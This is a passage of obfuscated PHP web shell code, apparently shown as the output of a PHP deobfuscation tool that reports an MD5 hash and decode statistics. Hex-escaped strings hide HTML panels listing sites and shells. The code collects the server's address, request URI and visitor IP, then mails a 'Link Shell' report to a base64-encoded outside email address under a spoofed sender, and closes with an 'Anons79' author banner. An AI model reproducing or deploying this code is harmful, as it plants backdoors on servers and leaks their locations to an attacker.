".${${"\x47\x4c\x4fBAL\x53"}["\x6ck\x73\x62\x6b\x69z"]}."<br>";echo"<br>\x53\x69\x74e\x20Li\x73\x74\x3cbr\x3e<\x74e\x78\x74ar\x65a\x20\x6fncl\x69\x63\x6b=\"\x74h\x69s\x2es\x65\x6ce\x63t()\"\x20w\x69dth\x3d\x2220\x30\x70x\">".${${"\x47\x4c\x4fB\x41LS"}["v\x67\x6d\x66e\x78\x62\x70\x7a\x6a"]}."\x3c/t\x65\x78ta\x72\x65a>\x3c\x62r\x3e<br>";echo"S\x68el\x6c\x20\x4c\x69\x73t<br><te\x78t\x61re\x61\x20on\x63\x6ci\x63k\x3d\x22\x74h\x69s.\x73e\x6ce\x63\x74()\x22\x20w\x69d\x74h\x3d\x2220\x30p\x78\x22>".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x61o\x6e\x67\x69\x73\x68\x68m\x77"]}."</\x74\x65\x78t\x61\x72\x65\x61\x3e\x3c\x62r\x3e";$eeisend="\x74o\x5fe\x6da\x69l";${${"\x47L\x4f\x42\x41\x4c\x53"}["z\x76w\x63d\x79\x74\x67\x6dt\x6fg"]}="".date("\x64/m/\x59\x20- \x48:\x69:s")."";${${"G\x4c\x4fB\x41\x4c\x53"}["m\x63i\x6bw\x6d"]}=$_SERVER["R\x45\x4dO\x54\x45\x5f\x41\x44DR"];${${"\x47L\x4fB\x41L\x53"}["\x65\x66nd\x61\x61p\x78"]}="\x73\x68e\x6c\x6c@".gethostbyname($_SERVER["\x53E\x52\x56E\x52\x5f\x4eAME"])."";${$eeisend}=base64_decode("Y\x57\x35\x76\x62n\x4d3O\x535vZ\x6dZ\x70Y\x32\x6chbE\x42n\x62W\x46\x70bC5j\x62\x320=");$moprqvzivri="h\x65ad\x65\x72";$kkgstyh="\x73\x65\x72\x76\x65\x72_\x6dai\x6c";${${"G\x4cOBA\x4c\x53"}["l\x68ysin\x76ew\x79"]}="".gethostbyname($_SERVER["\x53ERV\x45R_\x4eAME"])."\x20 -\x20".$_SERVER["H\x54\x54P\x5fH\x4f\x53\x54"]."";${$wyohnrxqfd}="\x4cink\x20\x53\x68\x65\x6c\x6c:\x20".$_SERVER["\x53\x45RV\x45R\x5f\x4eA\x4dE"]."".$_SERVER["RE\x51UE\x53T_URI"]."\x20- \x49\x50 \x45x\x63\x75ti\x6e\x67:\x20$ip_remote\x20-\x20\x54i\x6de:\x20$time_shell\x20\r\n".${${"G\x4cO\x42AL\x53"}["\x74\x77\x6dd\x66\x73f"]};${$moprqvzivri}="Fr\x6fm: $from_shellcode\r\n\x52e\x70\x6c\x79-t\x6f: $from_shellcode";@mail(${${"\x47\x4cO\x42\x41LS"}["\x78\x67\x6e\x6b\x76\x6f\x71"]},${$kkgstyh},${${"\x47\x4cO\x42A\x4cS"}["\x6a\x74\x6a\x64\x74g\x70"]},${${"GLO\x42\x41\x4cS"}["\x73hyq\x76\x78\x78o"]});}echo "\t\t\t\x3ch2\x3e\x44\x65\x76\x65lo\x70ed \x62y\x20A\x6eon\x73\x37\x39</h2\x3e\n\t\t</\x64i\x76\x3e\n\t\t\x3c/c\x65\x6eter>\n\t\x3c/bod\x79>\n</ht\x6d\x6c>\n";Function Calls
| None |
Stats
| MD5 | f07ce7f4a546e752684b7008fd43dce0 |
| Eval Count | 0 |
| Decode Time | 137 ms |